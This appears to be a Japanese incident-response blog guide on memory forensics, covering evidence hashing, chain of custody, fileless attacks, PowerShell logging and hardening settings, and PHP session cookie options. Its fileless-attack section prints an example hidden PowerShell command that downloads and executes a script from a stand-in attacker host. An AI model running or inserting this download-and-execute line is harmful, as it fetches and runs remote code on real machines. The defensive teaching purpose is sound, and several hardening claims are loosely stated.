【実務・中級編】 メモリフォレンジックにおける法的証拠能力の確保と保全手順 – インシデントレスポンス & フォレンジック(DFIR)防御ガイド

メモリフォレンジックの真実:法廷で「勝てる」証拠をどう掴むか

現場でインシデントに遭遇したとき、多くのエンジニアが犯す最大のミスは「とりあえず電源を切る」ことだ。しかし、現代の高度な攻撃者は、ディスクに痕跡を残さずメモリ上だけで完結する「ファイルレス攻撃」を主戦場にしている。

今日は、ただメモリをダンプするだけでは不十分な理由と、法廷で証拠として認められるための「泥臭い」作法について、俺の経験から語らせてもらう。

1. なぜメモリ保全が「証拠」として扱われないのか

メモリフォレンジックで最も重要なのは「証拠能力の維持」だ。証拠は、採取した瞬間から法廷に提出されるまで、データが一切改ざんされていないことを証明できなければならない。

現場でよくある失敗は、dumpit や FTK Imager を適当に叩いて満足することだ。これでは、採取した人間が証拠を捏造した可能性を否定できない。

法廷クオリティの証拠保全手順

1. 書き込み禁止の徹底: 調査対象のメモリに書き込みを行わないツールを使用する(物理的なライブ環境からの取得が望ましい)。
2. ハッシュ値の算出: 取得したダンプファイルの SHA-256 ハッシュ値を、取得直後(現地)に取得する。
3. チェーン・オブ・カストディ(証拠管理): 誰が、いつ、どこで、どのツールを使って取得したか、全ての操作ログを記録する。

2. 攻撃者の盲点:ファイルレス攻撃のPoC

攻撃者は、例えば powershell を使って、ディスクにバイナリを書き込まずに直接メモリ上でマルウェアを動かす。これを検知するには、メモリ上の不審なプロセスやインジェクションの痕跡を探すしかない。

例えば、攻撃者がよく使う難読化された PowerShell の実行例はこんなものだ。

# 悪意ある攻撃者がメモリ上で実行するコマンドのイメージ
# 実際にはBase64等で難読化され、ディスクには何も残らない
$code = "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://attacker.com/malicious.ps1')"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $code

これを防ぐためには、PowerShell の ScriptBlockLogging を有効にして、実行内容を逐次イベントログに書き出す必要がある。

3. セキュアなインフラ設計:PowerShell/OSの硬化設定

攻撃者がメモリを悪用するのを防ぐには、Windows環境であれば Constrained Language Mode (CLM) を適用し、そもそもメモリに動的なコードをロードさせない設定が肝だ。

以下は、Group Policy や Registry で設定すべき推奨事項の要点だ。

# セキュアなPowerShell環境を作るための設定(レジストリ等で適用)
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging]
"EnableScriptBlockLogging"=dword:00000001
"EnableScriptBlockInvocationLogging"=dword:00000001

# Windows Defender Application Control (WDAC) でメモリ実行を制限する設定
# PowerShellの実行ポリシーを厳格化する
Set-ExecutionPolicy -ExecutionPolicy AllSigned -Scope LocalMachine

4. Webアプリエンジニアができる「証拠保全」への配慮

Webアプリ開発者も、メモリフォレンジックを意識した設計ができる。重要なのは「セッション情報の管理」だ。攻撃者はメモリ上のセッションIDを盗み出す(Pass-the-Cookie攻撃)。これを防ぐための PHP の設定例を挙げる。

<?php
// セッションのメモリ内保護を強化する設定
ini_set('session.cookie_httponly', '1'); // JSからのアクセスを禁止
ini_set('session.cookie_secure', '1');   // HTTPSのみで送信
ini_set('session.use_strict_mode', '1'); // 未初期化セッションIDの拒否

// メモリ上のセッションデータを暗号化して保存する実装のヒント
// サーバーサイドでセッションをデータベース等の別領域に退避させるのがベスト
session_start();
$_SESSION['last_ip'] = $_SERVER['REMOTE_ADDR'];
?>

5. まとめ:現場で守るべき「たった一つのルール」

インシデントレスポンスにおいて、「証拠は時間が経てば消える」 ということを忘れないでほしい。

メモリの揮発性は高い。もしインシデントが発生したら、焦らずに以下の流れを徹底してくれ。

1. 現状維持: サーバーの電源を落とさない(物理メモリを失うからだ)。
2. ハッシュ記録: 採取したファイルには必ず sha256sum を実行し、テキストファイルに保存して、そのテキストファイルもコピーをとれ。
3. 記録: 誰が操作したか、時刻は正確か、使用したUSBメモリのシリアル番号は何か。これら全てが後の法廷で君の正当性を担保する武器になる。

教科書的な知識はネットにいくらでも転がっているが、現場で本当に役立つのは、こうした「記録の執着」だ。君たちのシステムの安全は、こうした泥臭い作業の積み重ねの上にしか成り立たない。

何かあったときは、まず落ち着いて、ハッシュ値を計算することから始めてくれ。

コメント

タイトルとURLをコピーしました